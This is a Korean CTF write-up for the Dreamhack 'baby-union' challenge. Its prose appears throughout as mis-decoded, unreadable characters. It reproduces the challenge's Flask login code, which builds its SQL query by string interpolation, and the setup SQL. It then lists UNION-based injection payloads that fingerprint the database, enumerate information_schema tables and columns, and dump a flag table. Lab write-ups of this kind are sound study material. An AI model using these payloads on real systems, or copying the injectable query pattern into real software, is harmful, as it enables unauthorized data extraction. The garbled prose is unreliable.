SWLUG/CTF ๋ฌธ์ œ ํ’€์ด (2)

[Dreamhack/๋“œ๋ฆผํ•ต] baby-union

waterproof 2024. 5. 8. 13:41

 

https://dreamhack.io/wargame/challenges/984

 

baby-union

Description ๋กœ๊ทธ์ธ ์‹œ ๊ณ„์ •์˜ ์ •๋ณด๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ์›น ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. SQL INJECTION ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ init.sql ํŒŒ์ผ์˜ ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ปฌ๋Ÿผ๋ช…์€ ์‹ค์ œ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ํ”Œ๋ž˜

dreamhack.io


[1] ๋ฌธ์ œ ์„ค๋ช…

 

 

 

 

 

์šฐ์„  SQL INJECTION ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์œ„์™€ ๊ฐ™์€ ์ž…๋ ฅ๊ฐ’์„ ์ œ์ถœํ•ด์ฃผ์—ˆ๋‹ค.

admin ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ๋ณ„ ์˜๋ฏธ ์—†๋Š” ํ…Œ์ด๋ธ”์„ ๋ณผ ์ˆ˜ ์žˆ์—ˆ๋‹ค...

 

 

app.py๋ฅผ ์‚ดํŽด๋ณด์ž.

import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

select ๋ฌธ์„ ์‹คํ–‰์‹œ์ผœ์•ผ ํ•œ๋‹ค.

 

 

init.sql์˜ ์ฝ”๋“œ์ด๋‹ค.

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

fake_table_name ์„ ๋ถˆ๋Ÿฌ์™€์•ผ ํ”Œ๋ž˜๊ทธ ๊ฐ’์„ ์•Œ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ ๊ฐ™์€๋ฐ, ๊ทธ๋Ÿฌ๋ ค๋ฉด primary key๋ฅผ ์ฐพ์•„์•ผ ํ•œ๋‹ค.

 

 

 

๊ทธ๋Ÿฐ๋ฐ admin ํŽ˜์ด์ง€ ๋ง๊ณ  ํ”Œ๋ž˜๊ทธ ๊ฐ’์ด ์ ํžŒ ํŽ˜์ด์ง€๋กœ ์ ‘๊ทผํ•˜๋Š” ์ž…๋ ฅ๊ฐ’์„ ์•Œ ์ˆ˜๊ฐ€ ์—†์–ด์„œ ๊ตฌ๊ธ€๋ง์„ ํ†ตํ•ด ๋ฌธ์ œ ํ’€์ด๋ฅผ ์ง„ํ–‰ํ•˜์˜€๋‹ค.

 

 


 

 

Union SQL Injection

UNION์€ SQL ์ฟผ๋ฆฌ๋ฌธ์—์„œ ๋‘ ๊ฐœ ์ด์ƒ์˜ SELECT ๋ฌธ์˜ ๊ฒฐ๊ณผ๋ฅผ ํ•ฉ์ณ ํ•˜๋‚˜์˜ ๊ฒฐ๊ณผ ์ง‘ํ•ฉ์œผ๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์–ด, ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋‹ค.

UNION ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‘ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•ด์•ผ ํ•œ๋‹ค.

1) ๊ธฐ์กด์˜ SELECT๋ฌธ๊ณผ UNION SELECT๋ฌธ์˜ ์ปฌ๋Ÿผ ์ˆ˜๊ฐ€ ๋™์ผํ•ด์•ผ ํ•œ๋‹ค.
2) ๊ฐ๊ฐ์˜ ์ปฌ๋Ÿผ์€ ์ˆœ์„œ ๋ณ„๋กœ ๋™์ผํ•œ ๋ฐ์ดํ„ฐํ˜•์ด์–ด์•ผ ํ•œ๋‹ค.

 

 

UNION ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ์ปฌ๋Ÿผ ์ˆ˜๋ฅผ ์•Œ์•„๋‚ด๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค.

init.sql์˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด 4๊ฐœ์ธ ๊ฒƒ ๊ฐ™์€๋ฐ, ๋งž๋Š”์ง€ ํ™•์ธํ•ด๋ณด์•˜๋‹ค.

 

 

a' union select version(),null,null,null #

์ด ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด

 

 

์ปฌ๋Ÿผ์˜ ์ˆ˜๊ฐ€ 4๊ฐœ์ž„๊ณผ ๋™์‹œ์— mariaDB๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

 

' union select table_name, null, null, null from information_schema.tables #

 

์ด ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์•„๋ž˜์™€ ๊ฐ™์ด ์›ํ•˜๋Š” table_name์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

์•„๋ž˜์ฏ”์Œ์— ์ˆ˜์ƒํ•ด๋ณด์ด๋Š” onlyflag๋ผ๋Š” table_name์ด ์žˆ๋Š”๋ฐ, ์ ‘๊ทผํ•ด๋ณด๋„๋ก ํ•˜์ž.

 

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ column_name์„ ์•Œ๊ธฐ ์œ„ํ•ด

' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #

 

์ด ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด๋ณด๋‹ˆ

 

 

 

onlyflag ํ…Œ์ด๋ธ”์— ์žˆ๋Š” ์ปฌ๋Ÿผ๋ช…์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

init.sql ์˜ ์ฝ”๋“œ ๋งˆ์ง€๋ง‰ ์ค„์— ๋”ฐ๋ฅด๋ฉด,

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

 

flag ๊ฐ’์€ svalue, sflag, sclose์— ๋“ค์–ด์žˆ์œผ๋กœ

 

' union select sname, svalue, sflag, sclose from onlyflag #

 

์ด ๋ช…๋ น์–ด๋ฅผ ์น˜๋ฉด flag is ...๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค.

ํ•˜์ง€๋งŒ ๊ทธ ๋‚ด์šฉ์„ ๊ทธ๋Œ€๋กœ ์ œ์ถœํ•˜๋ฉด ํ‹€๋ฆฐ ์ •๋‹ต์ด ๋œ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ๋ณผ ์ˆ˜ ์žˆ๋Š” ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๊ฐ€ 3๊ฐœ์ด๋ฏ€๋กœ 3๊ฐœ๋งŒ ์ถœ๋ ฅ์ด ๋˜๊ฒŒ ๋œ๋‹ค.

 

๊ทธ๋Ÿฌ๋ฏ€๋กœ sflag ๊ฐ’์ด ๋ˆ„๋ฝ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ๋‹ค์‹œ ์ถœ๋ ฅํ•ด์ฃผ๋ฉด ์›ํ•˜๋Š” flag ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค.

 

 

 


[2] ๋Š๋‚€ ์ 

 

์ตœ๊ทผ์— MySQL์— ๋Œ€ํ•ด ์ฒ˜์Œ ๋ฐฐ์›Œ์„œ ์ด ๋ฌธ์ œ์˜ ํ’€์ด ๊ณผ์ •์„ ๋” ์ž˜ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ๊ฒƒ ๊ฐ™๋‹ค.